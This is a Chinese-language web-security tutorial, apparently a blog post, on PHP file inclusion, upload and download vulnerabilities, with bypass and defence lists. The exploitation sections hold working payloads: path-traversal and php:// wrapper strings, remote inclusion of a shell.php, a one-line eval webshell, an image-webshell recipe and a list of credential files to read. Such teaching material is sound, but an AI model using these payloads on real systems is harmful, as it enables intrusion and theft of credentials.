文件操作漏洞

文件操作漏洞

文件包含漏洞

1、本地文件包含

  • 源代码
$filename = $_GET['filename'];
include $filename;   //或者include_once  require    require_once
echo '欢迎来到php世界';
  • 利用条件
    • php.ini中的allow_url_fopen=On(默认开启)
    • 用户参数可控
    • 后台代码没有对包含文件进行过滤
  • 利用方式
?filename=login.php
?filename=/opt/lampp/logs/access_log
?filename=../../../../etc/passwd
?filename=php://filter/read/convert.base64-encode/resource=common.php

【注】:一旦使用include或其他三个文件包含函数,那么无论包含文件的后缀名是什么,均会以php代码来执行

2、远程文件包含

  • 利用条件
    • php.ini中allow_url_fopen=On(默认开启)和allow_url_include=On(默认关闭,需要打开)开启
    • 用户参数可控
    • 后台对文件包含没有过滤
  • 利用方式
?filename=http://www.baidu.com/index.php
?filename=http://192.168.0.12/shell.php
?filename=http://192.168.0.13/shell.php?code=phpinfo();

【注】:远程包含文件的文件名后缀可以使用.txt结尾,可以更好的执行内部php代码,在文件包含中所有文件都会以php来运行,参数使用&符号来拼接

3、利用文件包含写木马

file_put_contents("temp/muma.php",'<?php @eval($_POST["code"]);?>');

PHP伪协议

1、伪协议介绍

  • php支持一下几种协议
file://
http://
ftp://
php://
zlib://
data://
glob://
phar://
ssh2://
rar://
ogg://
expect://

【注】:php:// 是一种伪协议,主要是开启了一个输入输出流,理解为文件数据传输的一个通道。php中的伪协议常用有如下几个:

(1)php://input

(2)php://filter

(3)phar://

2、php://filter

  • 将文件base64编码后读出来
php://filter/read/convert.base64-encode/resource=common.php

3、php://input

  • 条件:开启allow_url_inclde=On
  • 使用POST请求输入恶意代码
?filename=php://input

POST:
<?php phpinfo();?>
<?php system('ifconfig');?>

4、phar://

用于在php中压缩文件格式读取,通常配合文件上传漏洞使用,或进行phar反序列化攻击

?filename=phar://temp/shell.zip/shell.txt

要把文件传到服务器上

5、data:// 与 zip://

?filename=zip://shell.zip%23shell.txt   
?filename=data://text/plain,<?php phpinfo();?>  get请求

文件包含的漏洞利用

1、存在前提

(1)存在一个文件包含漏洞点

(2)其他可控点写入到本地文件

(3)写入本地文件路径可知

2、包含web日志

  • apache记录web日志文件有access.log 和 error.log

3、包含上传文件

  • 上传图片马
copy 1.jpg/b + shell.php/a  shell.jpg
上传完图片马后
用文件包含图片马
完成getshell

文件上传漏洞

一、上传webshell

未做过滤直接上传webshell

二、JS过滤

1、过滤方式

  • js调用checkfile()函数进行过滤。

2、绕过方式

  • 在浏览器中禁用js功能
  • 使用burp直接发送请求

【注】不建议使用禁用JS功能

文件下载漏洞

一、原理

1、利用条件

(1)存在读文件的函数和操作

(2)读取文件的路径用户可控,且校验不严格

(3)输出了文件内容

2、敏感文件

  • windows
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
  • linux
/root/.ssh/authorized_keys //如需登录到远程主机,需要到.ssh目录下,新建authorized_keys文件,并将id_rsa.pub内容复制进去
/root/.ssh/id_rsa //ssh私钥,ssh公钥是id_rsa.pub
/root/.ssh/id_ras.keystore //记录每个访问计算机用户的公钥
/root/.ssh/known_hosts
//ssh会把每个访问过计算机的公钥(public key)都记录在~/.ssh/known_hosts。当下次访问相同计算机时,OpenSSH会核对公钥。如果公钥不同,OpenSSH会发出警告, 避免你受到DNS Hijack之类的攻击。
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/etc/my.cnf //mysql 配置文件
/etc/httpd/conf/httpd.conf // Apache配置文件
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/var/lib/mlocate/mlocate.db //全文件路径
/porc/self/cmdline //当前进程的cmdline参数

文件操作漏洞绕过与防御

一、文件包含

1、绕过

  • 目录穿越,file=…/…/…/…/…/etc/passwd
  • 编码绕过,…/编码为%2e%2e%2f
  • 对于远程包含,使用?绕过后缀,加入?后后缀将变为参数的一部分
  • %00截断,只适用于PHP5.3以前的版本

2、防御

  • 配置open_basedir,只允许包含某个目录下的文件
  • 不允许文件包含让用户可控,直接写在代码中
  • 尽量包含一个确定的文件,而不是一个变量或参数
  • 检测用户输入参数,确保路径可控
  • 过滤各种…/或经过编码的敏感字符
  • 不使用远程包含,关闭allow_url_include(默认关闭)
  • 如果需要使用,限定域名和路径
  • 使用白名单

二、文件上传

1、绕过

  • 前端绕过
  • 类型绕过
  • 黑名单绕过
  • 大小写绕过
  • 图片马包含
  • 空格绕过
  • 点绕过
  • 双写绕过
  • 条件竞争
  • windows专用
  • apache解析机制

2、防御

  • 前后端一起校验,校验后缀名,校验MIME类型
  • 后缀名的校验必须全部转换为小写
  • 使用白名单
  • 去除文件后续的各种符号
  • 针对图片文件进行二次渲染
  • 对文件名重命名,先命名再移动
  • 将上传文件所在的目录设置为不可执行

三、文件下载

1、绕过

同文件包含

2、防御

  • 过滤特殊字符.(点),使用用户在url中不可回溯上级目录
  • 正则严格判断用户输入参数的格式
  • php.ini配置open_basedir限定文件访问范围
  • 将文件路径保存在数据库中,通过参数的方式访问
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值